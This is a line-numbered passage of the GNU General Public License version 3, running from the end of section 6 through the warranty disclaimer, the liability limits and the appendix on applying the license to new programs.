329 |   The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed.  Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 | 
337 |   Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 | 
343 |   7. Additional Terms.
344 | 
345 |   "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law.  If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 | 
354 |   When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it.  (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.)  You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 | 
361 |   Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 | 
365 |     a) Disclaiming warranty or limiting liability differently from the
366 |     terms of sections 15 and 16 of this License; or
367 | 
368 |     b) Requiring preservation of specified reasonable legal notices or
369 |     author attributions in that material or in the Appropriate Legal
370 |     Notices displayed by works containing it; or
371 | 
372 |     c) Prohibiting misrepresentation of the origin of that material, or
373 |     requiring that modified versions of such material be marked in
374 |     reasonable ways as different from the original version; or
375 | 
376 |     d) Limiting the use for publicity purposes of names of licensors or
377 |     authors of the material; or
378 | 
379 |     e) Declining to grant rights under trademark law for use of some
380 |     trade names, trademarks, or service marks; or
381 | 
382 |     f) Requiring indemnification of licensors and authors of that
383 |     material by anyone who conveys the material (or modified versions of
384 |     it) with contractual assumptions of liability to the recipient, for
385 |     any liability that these contractual assumptions directly impose on
386 |     those licensors and authors.
387 | 
388 |   All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10.  If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term.  If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 | 
398 |   If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 | 
403 |   Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 | 
407 |   8. Termination.
408 | 
409 |   You may not propagate or modify a covered work except as expressly
410 | provided under this License.  Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 | 
415 |   However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 | 
422 |   Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 | 
429 |   Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License.  If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 | 
435 |   9. Acceptance Not Required for Having Copies.
436 | 
437 |   You are not required to accept this License in order to receive or
438 | run a copy of the Program.  Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance.  However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work.  These actions infringe copyright if you do
443 | not accept this License.  Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 | 
446 |   10. Automatic Licensing of Downstream Recipients.
447 | 
448 |   Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License.  You are not responsible
451 | for enforcing compliance by third parties with this License.
452 | 
453 |   An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations.  If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 | 
463 |   You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License.  For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 | 
471 |   11. Patents.
472 | 
473 |   A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based.  The
475 | work thus licensed is called the contributor's "contributor version".
476 | 
477 |   A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version.  For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 | 
487 |   Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 | 
492 |   In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement).  To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 | 
499 |   If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients.  "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 | 
513 |   If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 | 
521 |   A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License.  You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 | 
536 |   Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 | 
540 |   12. No Surrender of Others' Freedom.
541 | 
542 |   If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License.  If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all.  For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 | 
552 |   13. Use with the GNU Affero General Public License.
553 | 
554 |   Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work.  The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 | 
563 |   14. Revised Versions of this License.
564 | 
565 |   The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time.  Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 | 
570 |   Each version is given a distinguishing version number.  If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation.  If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 | 
579 |   If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 | 
584 |   Later license versions may give you additional or different
585 | permissions.  However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 | 
589 |   15. Disclaimer of Warranty.
590 | 
591 |   THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 | 
600 |   16. Limitation of Liability.
601 | 
602 |   IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 | 
612 |   17. Interpretation of Sections 15 and 16.
613 | 
614 |   If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 | 
621 |                      END OF TERMS AND CONDITIONS
622 | 
623 |             How to Apply These Terms to Your New Programs
624 | 
625 |   If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 | 
629 |   To do so, attach the following notices to the program.  It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 | 
634 |     <one line to give the program's name and a brief idea of what it does.>
635 |     Copyright (C) <year>  <name of author>
636 | 
637 |     This program is free software: you can redistribute it and/or modify
638 |     it under the terms of the GNU General Public License as published by
639 |     the Free Software Foundation, either version 3 of the License, or
640 |     (at your option) any later version.
641 | 
642 |     This program is distributed in the hope that it will be useful,
643 |     but WITHOUT ANY WARRANTY; without even the implied warranty of
644 |     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
645 |     GNU General Public License for more details.
646 | 
647 |     You should have received a copy of the GNU General Public License
648 |     along with this program.  If not, see <https://www.gnu.org/licenses/>.
649 | 
650 | Also add information on how to contact you by electronic and paper mail.
651 | 
652 |   If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 | 
655 |     <program>  Copyright (C) <year>  <name of author>
656 |     This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 |     This is free software, and you are welcome to redistribute it
658 |     under certain conditions; type `show c' for details.
659 | 
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License.  Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 | 
664 |   You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | <https://www.gnu.org/licenses/>.
668 | 
669 |   The GNU General Public License does not permit incorporating your program
670 | into proprietary programs.  If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library.  If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License.  But first, please read
674 | <https://www.gnu.org/licenses/why-not-lgpl.html>.
675 | 


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